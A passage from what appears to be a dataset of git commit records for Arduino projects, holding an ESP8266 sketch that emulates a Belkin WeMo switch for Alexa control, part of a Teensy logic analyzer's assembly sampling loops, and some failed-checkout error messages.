dropped\n","repos":"WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015,WestwoodRobotics\/BEST-2015","old_file":"display\/live_market_led_display\/led_market_display\/led_market_display.ino","new_file":"display\/live_market_led_display\/led_market_display\/led_market_display.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/WestwoodRobotics\/BEST-2015.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"023ab0afe8a5329bfac2b7d9aead0bec712cc2f7","subject":"added arduino control code - will define communication between the raspberry Pi and Arduino.","message":"added arduino control code - will define communication between the raspberry Pi and Arduino.\n","repos":"Spruill1\/Bblr,Spruill1\/Bblr","old_file":"Arduino Control\/Arduino_Control\/Arduino_Control.ino","new_file":"Arduino Control\/Arduino_Control\/Arduino_Control.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Control\/Arduino_Control\/Arduino_Control.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"59a4aaea46b99bed6ebc4d58c1e1777ae5a0e7fe","subject":"Started working on multi-switch","message":"Started working on multi-switch\n\n","repos":"ckuzma\/nodemcu-as-arduino,ckuzma\/nodemcu-as-arduino","old_file":"Sketches\/Alexa\/AlexaWemoSwitchMulti\/AlexaWemoSwitchMulti.ino","new_file":"Sketches\/Alexa\/AlexaWemoSwitchMulti\/AlexaWemoSwitchMulti.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n#include <WiFiManager.h>\n#include <WiFiUdp.h>\n#include <functional>\n\n\/\/ Declare function prototypes\nbool connectUDP();\nvoid prepareIds();\nvoid respondToSearch();\nvoid startHttpServer();\n\n\/\/ Change these to whatever you'd prefer:\nString device_name = \"desk lamp\"; \/\/ Name of device\nbool debug = false; \/\/ If you want debug messages\nbool squawk = true; \/\/ For on\/off messages\n\n\/\/ Some UDP \/ WeMo specific variables:\nWiFiUDP UDP;\nIPAddress ipMulti(239, 255, 255, 250);\nunsigned int portMulti = 1900; \/\/ local port to listen on\nESP8266WebServer HTTP(80);\nString serial; \/\/ Where we save the string of the UUID\nString persistent_uuid; \/\/ Where we save some socket info with the UUID\n\n\/\/ Buffer to save incoming packets:\nchar packetBuffer[UDP_TX_PACKET_MAX_SIZE];\n\nvoid setup() {\n \/\/ Begin Serial:\n Serial.begin(115200);\n\n \/\/ Setup the pin for output:\n pinMode(D1, OUTPUT);\n pinMode(D2, OUTPUT);\n pinMode(D3, OUTPUT);\n pinMode(D4, OUTPUT);\n digitalWrite(D1, HIGH); \/\/ Start with light on\n digitalWrite(D2, HIGH); \/\/ Start with light on\n digitalWrite(D3, HIGH); \/\/ Start with light on\n digitalWrite(D4, HIGH); \/\/ Start with light on\n\/\/ digitalWrite(D1, LOW); \/\/ Start with light off\n\n \/\/ Set the UUIDs and socket information:\n prepareIds();\n\n \/\/ Get settings from WiFi Manager:\n WiFiManager wifiManager;\n \/\/ wifiManager.resetSettings(); \/\/ Uncomment this to test WiFi Manager function\n wifiManager.setAPCallback(configModeCallback);\n wifiManager.autoConnect();\n\n \/\/ Wait til WiFi is connected properly:\n int counter = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n counter++;\n }\n Serial.println(\"Connected to WiFi\");\n\n \/\/ Connect to UDP:\n bool udpConnected = connectUDP();\n if (udpConnected){\n startHttpServer(); \/\/ Start the HTTP Server\n }\n\n}\n\nvoid loop() {\n HTTP.handleClient();\n delay(1);\n\n \/\/ If there are packets, we parse them:\n int packetSize = UDP.parsePacket();\n\n if(packetSize) {\n if (debug) {\n Serial.println(\"\");\n Serial.print(\"Received packet of size \");\n Serial.println(packetSize);\n Serial.print(\"From \");\n IPAddress remote = UDP.remoteIP();\n\n for (int i =0; i < 4; i++) {\n Serial.print(remote[i], DEC);\n if (i < 3) {\n Serial.print(\".\");\n }\n }\n\n Serial.print(\", port \");\n Serial.println(UDP.remotePort());\n }\n\n int len = UDP.read(packetBuffer, 255);\n\n if (len > 0) {\n packetBuffer[len] = 0;\n }\n\n String request = packetBuffer;\n\n if(request.indexOf('M-SEARCH') > 0) {\n if(request.indexOf(\"urn:Belkin:device:**\") > 0) {\n if (debug) {\n Serial.println(\"Responding to search request ...\");\n }\n respondToSearch();\n }\n }\n }\n\n delay(10);\n}\n\nvoid prepareIds() {\n uint32_t chipId = ESP.getChipId();\n char uuid[64];\n sprintf_P(uuid, PSTR(\"38323636-4558-4dda-9188-cda0e6%02x%02x%02x\"),\n (uint16_t) ((chipId >> 16) & 0xff),\n (uint16_t) ((chipId >> 8) & 0xff),\n (uint16_t) chipId & 0xff);\n\n serial = String(uuid);\n persistent_uuid = \"Socket-1_0-\" + serial;\n}\n\nbool connectUDP(){\n boolean state = false;\n Serial.println(\"Connecting to UDP\");\n\n if(UDP.beginMulticast(WiFi.localIP(), ipMulti, portMulti)) {\n Serial.println(\"Connection successful\");\n state = true;\n }\n else{\n Serial.println(\"Connection failed\");\n }\n\n return state;\n}\n\nvoid startHttpServer() {\n HTTP.on(\"\/index.html\", HTTP_GET, [](){\n if (debug) {\n Serial.println(\"Got Request index.html ...\\n\");\n }\n HTTP.send(200, \"text\/plain\", \"Hello World!\");\n });\n\n HTTP.on(\"\/upnp\/control\/basicevent1\", HTTP_POST, []() {\n if (debug) {\n Serial.println(\"########## Responding to \/upnp\/control\/basicevent1 ... ##########\");\n }\n\n\n \/\/for (int x=0; x <= HTTP.args(); x++) {\n \/\/ Serial.println(HTTP.arg(x));\n \/\/}\n\n String request = HTTP.arg(0);\n if (debug) {\n Serial.print(\"request:\");\n Serial.println(request);\n }\n\n\n if(request.indexOf(\"<BinaryState>1<\/BinaryState>\") > 0) {\n if (squawk) {\n Serial.println(\"Got on request\");\n }\n\n digitalWrite(D1, HIGH); \/\/ turn on relay with voltage HIGH\n digitalWrite(D2, HIGH); \/\/ turn on relay with voltage HIGH\n digitalWrite(D3, HIGH); \/\/ turn on relay with voltage HIGH\n digitalWrite(D4, HIGH); \/\/ turn on relay with voltage HIGH\n }\n\n if(request.indexOf(\"<BinaryState>0<\/BinaryState>\") > 0) {\n if (squawk) {\n Serial.println(\"Got off request\");\n }\n\n digitalWrite(D1, LOW); \/\/ turn on relay with voltage LOW\n digitalWrite(D2, LOW); \/\/ turn on relay with voltage LOW\n digitalWrite(D3, LOW); \/\/ turn on relay with voltage LOW\n digitalWrite(D4, LOW); \/\/ turn on relay with voltage LOW\n }\n\n HTTP.send(200, \"text\/plain\", \"\");\n });\n\n HTTP.on(\"\/eventservice.xml\", HTTP_GET, [](){\n if (debug) {\n Serial.println(\" ########## Responding to eventservice.xml ... ########\\n\");\n }\n\n String eventservice_xml = \"<?scpd xmlns=\\\"urn:Belkin:service-1-0\\\"?>\"\n \"<actionList>\"\n \"<action>\"\n \"<name>SetBinaryState<\/name>\"\n \"<argumentList>\"\n \"<argument>\"\n \"<retval\/>\"\n \"<name>BinaryState<\/name>\"\n \"<relatedStateVariable>BinaryState<\/relatedStateVariable>\"\n \"<direction>in<\/direction>\"\n \"<\/argument>\"\n \"<\/argumentList>\"\n \"<serviceStateTable>\"\n \"<stateVariable sendEvents=\\\"yes\\\">\"\n \"<name>BinaryState<\/name>\"\n \"<dataType>Boolean<\/dataType>\"\n \"<defaultValue>0<\/defaultValue>\"\n \"<\/stateVariable>\"\n \"<stateVariable sendEvents=\\\"yes\\\">\"\n \"<name>level<\/name>\"\n \"<dataType>string<\/dataType>\"\n \"<defaultValue>0<\/defaultValue>\"\n \"<\/stateVariable>\"\n \"<\/serviceStateTable>\"\n \"<\/action>\"\n \"<\/scpd>\\r\\n\"\n \"\\r\\n\";\n\n HTTP.send(200, \"text\/plain\", eventservice_xml.c_str());\n });\n\n HTTP.on(\"\/setup.xml\", HTTP_GET, [](){\n if (debug) {\n Serial.println(\" ########## Responding to setup.xml ... ########\\n\");\n }\n\n\n IPAddress localIP = WiFi.localIP();\n char s[16];\n sprintf(s, \"%d.%d.%d.%d\", localIP[0], localIP[1], localIP[2], localIP[3]);\n\n String setup_xml = \"<?xml version=\\\"1.0\\\"?>\"\n \"<root>\"\n \"<device>\"\n \"<deviceType>urn:Belkin:device:controllee:1<\/deviceType>\"\n \"<friendlyName>\"+ device_name +\"<\/friendlyName>\"\n \"<manufacturer>Belkin International Inc.<\/manufacturer>\"\n \"<modelName>Emulated Socket<\/modelName>\"\n \"<modelNumber>3.1415<\/modelNumber>\"\n \"<UDN>uuid:\"+ persistent_uuid +\"<\/UDN>\"\n \"<serialNumber>221517K0101769<\/serialNumber>\"\n \"<binaryState>0<\/binaryState>\"\n \"<serviceList>\"\n \"<service>\"\n \"<serviceType>urn:Belkin:service:basicevent:1<\/serviceType>\"\n \"<serviceId>urn:Belkin:serviceId:basicevent1<\/serviceId>\"\n \"<controlURL>\/upnp\/control\/basicevent1<\/controlURL>\"\n \"<eventSubURL>\/upnp\/event\/basicevent1<\/eventSubURL>\"\n \"<SCPDURL>\/eventservice.xml<\/SCPDURL>\"\n \"<\/service>\"\n \"<\/serviceList>\"\n \"<\/device>\"\n \"<\/root>\\r\\n\"\n \"\\r\\n\";\n\n HTTP.send(200, \"text\/xml\", setup_xml.c_str());\n if (debug) {\n Serial.print(\"Sending :\");\n Serial.println(setup_xml);\n }\n });\n\n HTTP.begin();\n if (debug) {\n Serial.println(\"HTTP Server started ..\");\n }\n}\n\nvoid respondToSearch() {\n if (debug) {\n Serial.println(\"\");\n Serial.print(\"Sending response to \");\n Serial.println(UDP.remoteIP());\n Serial.print(\"Port : \");\n Serial.println(UDP.remotePort());\n }\n\n IPAddress localIP = WiFi.localIP();\n char s[16];\n sprintf(s, \"%d.%d.%d.%d\", localIP[0], localIP[1], localIP[2], localIP[3]);\n\n String response =\n \"HTTP\/1.1 200 OK\\r\\n\"\n \"CACHE-CONTROL: max-age=86400\\r\\n\"\n \"DATE: Tue, 14 Dec 2016 02:30:00 GMT\\r\\n\"\n \"EXT:\\r\\n\"\n \"LOCATION: http:\/\/\" + String(s) + \":80\/setup.xml\\r\\n\"\n \"OPT: \\\"http:\/\/schemas.upnp.org\/upnp\/1\/0\/\\\"; ns=01\\r\\n\"\n \"01-NLS: b9200ebb-736d-4b93-bf03-835149d13983\\r\\n\"\n \"SERVER: Unspecified, UPnP\/1.0, Unspecified\\r\\n\"\n \"ST: urn:Belkin:device:**\\r\\n\"\n \"USN: uuid:\" + persistent_uuid + \"::urn:Belkin:device:**\\r\\n\"\n \"X-User-Agent: redsonic\\r\\n\\r\\n\";\n\n UDP.beginPacket(UDP.remoteIP(), UDP.remotePort());\n UDP.write(response.c_str());\n UDP.endPacket();\n if (debug) {\n Serial.println(\"Response sent !\");\n }\n}\n\nvoid configModeCallback(WiFiManager *myWiFiManager) {\n Serial.println(\"Entered config mode\");\n Serial.println(\"Soft AP's IP Address:\");\n Serial.println(WiFi.softAPIP());\n Serial.println(\"WiFi Manager: Please connect to AP:\");\n Serial.println(myWiFiManager->getConfigPortalSSID());\n Serial.println(\"To setup WiFi Configuration\");\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/Alexa\/AlexaWemoSwitchMulti\/AlexaWemoSwitchMulti.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d81e565a9d5c67c9a2002fe1ad2460439698ba9a","subject":"Create record_asm_t4.ino","message":"Create record_asm_t4.ino\n","repos":"LAtimes2\/TeensyLogicAnalyzer,LAtimes2\/TeensyLogicAnalyzer","old_file":"record_asm_t4.ino","new_file":"record_asm_t4.ino","new_contents":"\/* Teensy Logic Analyzer\n * Copyright (c) 2020 LAtimes2\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#if Teensy_4_0\n\nvoid recordDataAsm5Clocks(sumpSetupVariableStruct &sv,\n sumpDynamicVariableStruct &dynamic) {\n\n volatile uint32_t* portDataInputRegister = &PORT_DATA_INPUT_REGISTER;\n volatile uint32_t* USB0_ISTAT_register = &USB1_ENDPTCOMPLETE;\n uint32_t *inputPtr = sv.startOfBuffer;\n uint32_t tempValue = 0;\n uint32_t tempValue2 = 0;\n uint32_t workingValue = 0;\n\n if (sv.triggerMask)\n {\n sv.delaySamples = 1;\n\n set_led_on ();\n }\n\n maskInterrupts ();\n\n \/\/ assembly : \"<instructions>: [] :: \"rx\");\n \/\/ asm(code : output operand list : input operant list : clobber list);\n \/\/\n \/\/ output operand list = [result] \"=r\" (y) result = name, y = c expression\n \/\/ (= means write only, + means read\/write, & means output only\n \/\/ input operand list = [value] \"r\" (x) value = name, x = c expression\n\n asm volatile (\"cmp %[trigMask],#0\\n\\t\"\n \"beq asm5_record_loop\\n\\t\"\n\n \/\/\n \/\/ look for trigger\n \/\/\n\n \/\/ read sample\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"asm5_looking_for_trigger_loop:\\n\\t\"\n\n \/\/ if (usbInterruptPending)\n \"ldr %[tempValue2],[%[USB0_ISTAT_register]]\\n\\t\"\n \"tst %[tempValue2], #251\\n\\t\"\n \"bne asm5_usb_exit\\n\\t\"\n \n \/\/ save as first sample\n \"mov %[workingValue],%[tempValue]\\n\\t\"\n \/\/ read sample\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \/\/ if ((tempValue & trigMask) == trigValue) {\n \"and %[tempValue2],%[tempValue],%[trigMask]\\n\\t\"\n \"cmp %[tempValue2],%[trigValue]\\n\\t\"\n \"bne asm5_looking_for_trigger_loop\\n\\t\"\n\n \/\/ trigger - save as second sample\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n \/\/ go to 3rd sample\n \"b asm5_third_sample\\n\\t\"\n\n \/\/\n \/\/ record data\n \/\/\n \n \".align 2\\n\\t\"\n \"asm5_record_loop:\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"asm5_loop:\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"lsls %[workingValue],%[workingValue],#8\\n\\t\"\n \"add %[workingValue],%[workingValue],%[tempValue]\\n\\t\"\n \"asm5_third_sample:\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"lsls %[workingValue],%[workingValue],#8\\n\\t\"\n \"add %[workingValue],%[workingValue],%[tempValue]\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"lsls %[workingValue],%[workingValue],#8\\n\\t\"\n \"add %[tempValue2],%[workingValue],%[tempValue]\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"nop\\n\\t\"\n \/\/ store 4 samples\n \"str %[tempValue2], [%[inputPtr]],#4\\n\\t\"\n \"nop\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n \"ldr %[tempValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"add %[tempValue2],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n \/\/ if inputPtr >= endOfBuffer\n \"cmp %[inputPtr],%[endOfBuffer]\\n\\t\"\n \/\/ store 4 samples\n \"str %[tempValue2], [%[inputPtr]],#4\\n\\t\"\n \"nop\\n\\t\"\n \"ldr %[workingValue], [%[portDataInputRegister],#0]\\n\\t\"\n \"blt asm5_loop\\n\\t\"\n \"b asm5_exit\\n\\t\"\n\n \"asm5_usb_exit:\\n\\t\"\n \"mov %[USB0_ISTAT_register], #1\\n\\t\"\n\n \"asm5_exit:\\n\\t\"\n\n : [endOfBuffer] \"+l\" (sv.endOfBuffer),\n [inputPtr] \"+l\" (inputPtr),\n [trigMask] \"+r\" (sv.triggerMask[0]),\n [trigValue] \"+r\" (sv.triggerValue[0]),\n [portDataInputRegister] \"+l\" (portDataInputRegister),\n [USB0_ISTAT_register] \"+l\" (USB0_ISTAT_register),\n [tempValue] \"+l\" (tempValue),\n [tempValue2] \"+l\" (tempValue2),\n [workingValue] \"+l\" (workingValue)\n :: \"cc\");\n\n unmaskInterrupts ();\n\n \/\/ Assembly sets the register address to 1 to indicate USB interrupt\n if ((uint32_t)USB0_ISTAT_register == 1)\n {\n DEBUG_SERIAL(print(\" Halt due to USB interrupt\"));\n set_led_off ();\n SUMPreset();\n }\n\n dynamic.triggerSampleIndex = 1;\n\n set_led_off ();\n}\n\nvoid recordDataAsmWithTrigger (sumpSetupVariableStruct &sv,\n sumpDynamicVariableStruct &dynamic) {\n\n \/\/ this uses 8 cpu cycles per sample\n\n uint32_t *inputPtr = sv.startOfBuffer;\n\n volatile uint32_t* portDataInputRegister = &PORT_DATA_INPUT_REGISTER;\n volatile uint32_t* USB0_ISTAT_register = &USB1_ENDPTCOMPLETE;\n uint32_t bufferHasWrapped = dynamic.bufferHasWrapped;\n uint32_t tempValue = 0;\n uint32_t workingValue = 0;\n uint32_t *startPtr = sv.startOfBuffer;\n uint32_t *startOfBuffer = sv.startOfBuffer;\n uint32_t *endOfBuffer = sv.endOfBuffer;\n\n\n byte samplesPerElement = sv.samplesPerElement;\n byte samplesPerElementMinusOne = samplesPerElement - 1;\n uint32_t *triggerPtr = startOfBuffer;\n\n uint32_t delaySizeBytes = sv.delaySizeInElements * 4;\n uint32_t bufferSizeBytes = (uint32_t)(endOfBuffer - startOfBuffer) * 4;\n\n \/\/ to preserve registers, pack delaySize and bufferSize into 1 int\n \/\/ (21 bits for delay size, 11 bits for buffer size (assume 1k increments)\n \/\/ This allows up to 2 Mb buffer sizes in 1k increments\n uint32_t data1 = (delaySizeBytes << 11) + (bufferSizeBytes >> 10);\n\n if (sv.triggerMask[0])\n {\n \/\/ position to arm the trigger\n startPtr = inputPtr + sv.delaySizeInElements;\n\n set_led_on ();\n }\n else\n {\n startPtr = endOfBuffer - 1;\n }\n\n maskInterrupts ();\n\n asm volatile (\"cmp %[trigMask],#0\\n\\t\"\n \"beq record_loop\\n\\t\"\n\n \/\/ read enough samples prior to arming to meet the pre-trigger request\n \/\/ while (1) {\n \".align 2\\n\\t\"\n \"pre_trigger_loop:\\n\\t\"\n \/\/ workingValue = PORT_DATA_INPUT_REGISTER;\n \"ldr %[workingValue], [%[portDataInputRegister]]\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \/\/ workingValue = (tempValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n #if Teensy_3_6\n \"nop\\n\\t\"\n #endif\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n #if Teensy_3_6\n \"nop\\n\\t\"\n #endif\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n\n \/\/ *(inputPtr) = workingValue;\n \/\/ ++inputPtr;\n \"str %[workingValue], [%[inputPtr]],4\\n\\t\"\n \n \/\/ if enough data is buffered\n \/\/ if (inputPtr >= startPtr) {\n \"cmp %[inputPtr],%[startPtr]\\n\\t\"\n \"blt pre_trigger_loop\\n\\t\"\n \/\/ move to armed state\n \/\/ break;\n \/\/ }\n\n \/\/ } \/\/ while (1)\n\n \/\/ while (1) {\n \/\/ workingValue = PORT_DATA_INPUT_REGISTER;\n \"ldr %[workingValue], [%[portDataInputRegister]]\\n\\t\"\n\/\/\"orr %[workingValue],%[workingValue],#64\\n\\t\"\n #if Teensy_3_5 or Teensy_3_6\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n #endif\n \"b looking_for_trigger_loop\\n\\t\"\n \"nop\\n\\t\"\n \".align 2\\n\\t\"\n \"looking_for_trigger_loop:\\n\\t\"\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n \"nop\\n\\t\"\n \/\/ if (usbInterruptPending) [part1]\n \"ldr %[tempValue],[%[USB0_ISTAT_register]]\\n\\t\"\n \"tst %[tempValue], #251\\n\\t\"\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n\n \/\/ if (usbInterruptPending) [part2]\n \"bne usb_exit\\n\\t\"\n\/\/\"orr %[workingValue],%[workingValue],#68\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n\n \/\/ *(inputPtr) = workingValue;\n \/\/ ++inputPtr;\n \"str %[workingValue], [%[inputPtr]],4\\n\\t\"\n\n \/\/ adjust for circular buffer wraparound at the end\n \/\/ if (inputPtr >= endOfBuffer) {\n \"cmp %[endOfBuffer],%[inputPtr]\\n\\t\"\n \"it ls\\n\\t\"\n \/\/ inputPtr = startOfBuffer;\n \"movls %[inputPtr],%[startOfBuffer]\\n\\t\"\n \/\/ }\n\n \/\/ workingValue = PORT_DATA_INPUT_REGISTER;\n \"ldr %[workingValue], [%[portDataInputRegister]]\\n\\t\"\n\/\/\"orr %[workingValue],%[workingValue],#64\\n\\t\"\n\n \/\/ if trigger has occurred\n \/\/ if ((tempValue & trigMask) == trigValue) {\n \"and %[tempValue],%[tempValue],%[trigMask]\\n\\t\"\n \"cmp %[tempValue],%[trigValue]\\n\\t\"\n \"bne looking_for_trigger_loop\\n\\t\"\n\n #if Teensy_3_5 or Teensy_3_6\n \"nop\\n\\t\"\n #endif\n\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n\/\/\"orr %[tempValue],%[tempValue],#224\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n\n \/\/ last location to save\n \/\/ startPtr = inputPtr - sv.delaySize;\n \"sub %[startPtr],%[inputPtr],%[data1],lsr #11\\n\\t\"\n\n \/\/ adjust for circular buffer wraparound at the end.\n \/\/ if (startPtr < startOfBuffer) {\n \"cmp %[startPtr],%[startOfBuffer]\\n\\t\"\n\n #if Teensy_3_5 or Teensy_3_6\n \"nop\\n\\t\"\n #endif\n\n \/\/ (read extra value to keep up)\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n\n \/\/ get just lower 11 bits (plus 10 lower 0's)\n \"lsl %[data1],#21\\n\\t\"\n \"it lo\\n\\t\"\n \/\/ startPtr = startPtr + bufferSize;\n \"addlo %[startPtr],%[startPtr],%[data1],lsr #11\\n\\t\"\n \/\/ }\n\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n\n \/\/ *(inputPtr) = workingValue;\n \/\/ ++inputPtr;\n \"str %[workingValue], [%[inputPtr]],4\\n\\t\"\n\n \/\/ adjust for circular buffer wraparound at the end\n \/\/ if (inputPtr >= endOfBuffer) {\n \"cmp %[endOfBuffer],%[inputPtr]\\n\\t\"\n \"it ls\\n\\t\"\n \/\/ inputPtr = startOfBuffer;\n \/\/ .w for optimal timing alignment of record loop\n \"movls.w %[inputPtr],%[startOfBuffer]\\n\\t\"\n \/\/ }\n\n \/\/ break;\n \/\/ }\n \/\/ } \/\/ while (1)\n\n \/\/ } \/\/ if sumpTrigMask\n\n \"record_loop:\\n\\t\"\n \/\/ read samples after trigger\n \/\/ while (1) {\n\n \/\/ workingValue = PORT_DATA_INPUT_REGISTER;\n \"ldr %[workingValue], [%[portDataInputRegister]]\\n\\t\"\n\/\/\"orr %[workingValue],%[workingValue],#128\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"b record_loop_second_sample\\n\\t\"\n\n \".align 2\\n\\t\"\n \"record_loop_second_sample:\\n\\t\"\n \/\/ workingValue = (workingValue << 8) + (tempValue = PORT_DATA_INPUT_REGISTER);\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n\n\/\/ \"cmp %[startOfBuffer],%[inputPtr]\\n\\t\"\n\/\/ \"it eq\\n\\t\"\n\/\/\"orreq %[workingValue],#8\\n\\t\"\n\/\/ \"movls %[inputPtr],%[startOfBuffer]\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n \/\/ workingValue = (workingValue << 8) + PORT_DATA_INPUT_REGISTER;\n \"ldr %[tempValue], [%[portDataInputRegister]]\\n\\t\"\n \"add %[workingValue],%[tempValue],%[workingValue],lsl #8\\n\\t\"\n\n \/\/ *(inputPtr) = workingValue;\n \/\/ ++inputPtr;\n \"str %[workingValue], [%[inputPtr]],4\\n\\t\"\n\n \/\/ adjust for circular buffer wraparound at the end\n \/\/ if (inputPtr >= endOfBuffer) {\n \"cmp %[endOfBuffer],%[inputPtr]\\n\\t\"\n \"it ls\\n\\t\"\n \/\/ inputPtr = startOfBuffer;\n \"movls %[inputPtr],%[startOfBuffer]\\n\\t\"\n \/\/ }\n\n \/\/ workingValue = PORT_DATA_INPUT_REGISTER;\n \"ldr %[workingValue], [%[portDataInputRegister]]\\n\\t\"\n\/\/\"orr %[workingValue],%[workingValue],#128\\n\\t\"\n \"nop\\n\\t\"\n \"nop\\n\\t\"\n #if Teensy_3_2 or Teensy_3_5 or Teensy_3_6\n \"nop\\n\\t\"\n #endif\n \n \/\/ if enough data is buffered\n \/\/ if (inputPtr == startPtr) {\n \"cmp %[inputPtr],%[startPtr]\\n\\t\"\n \"bne record_loop_second_sample\\n\\t\"\n \/\/ move to armed state\n \/\/ break;\n \/\/ }\n \/\/ } \/\/ while (1)\n\n \"b good_exit\\n\\t\"\n\n \"usb_exit:\\n\\t\"\n \"mov %[USB0_ISTAT_register], #1\\n\\t\"\n\n \"good_exit:\\n\\t\"\n : [endOfBuffer] \"+l\" (sv.endOfBuffer),\n [inputPtr] \"+l\" (inputPtr),\n [startPtr] \"+l\" (startPtr),\n [trigMask] \"+r\" (sv.triggerMask[0]),\n [trigValue] \"+r\" (sv.triggerValue[0]),\n [portDataInputRegister] \"+l\" (portDataInputRegister),\n [USB0_ISTAT_register] \"+l\" (USB0_ISTAT_register),\n [startOfBuffer] \"+r\" (sv.startOfBuffer),\n [data1] \"+r\" (data1),\n [tempValue] \"+l\" (tempValue),\n [workingValue] \"+l\" (workingValue)\n :: \"cc\");\n\n unmaskInterrupts ();\n\n \/\/ Assembly sets the register address to 1 to indicate USB interrupt\n if ((uint32_t)USB0_ISTAT_register == 1)\n {\n DEBUG_SERIAL(print(\" Halt due to USB interrupt\"));\n set_led_off 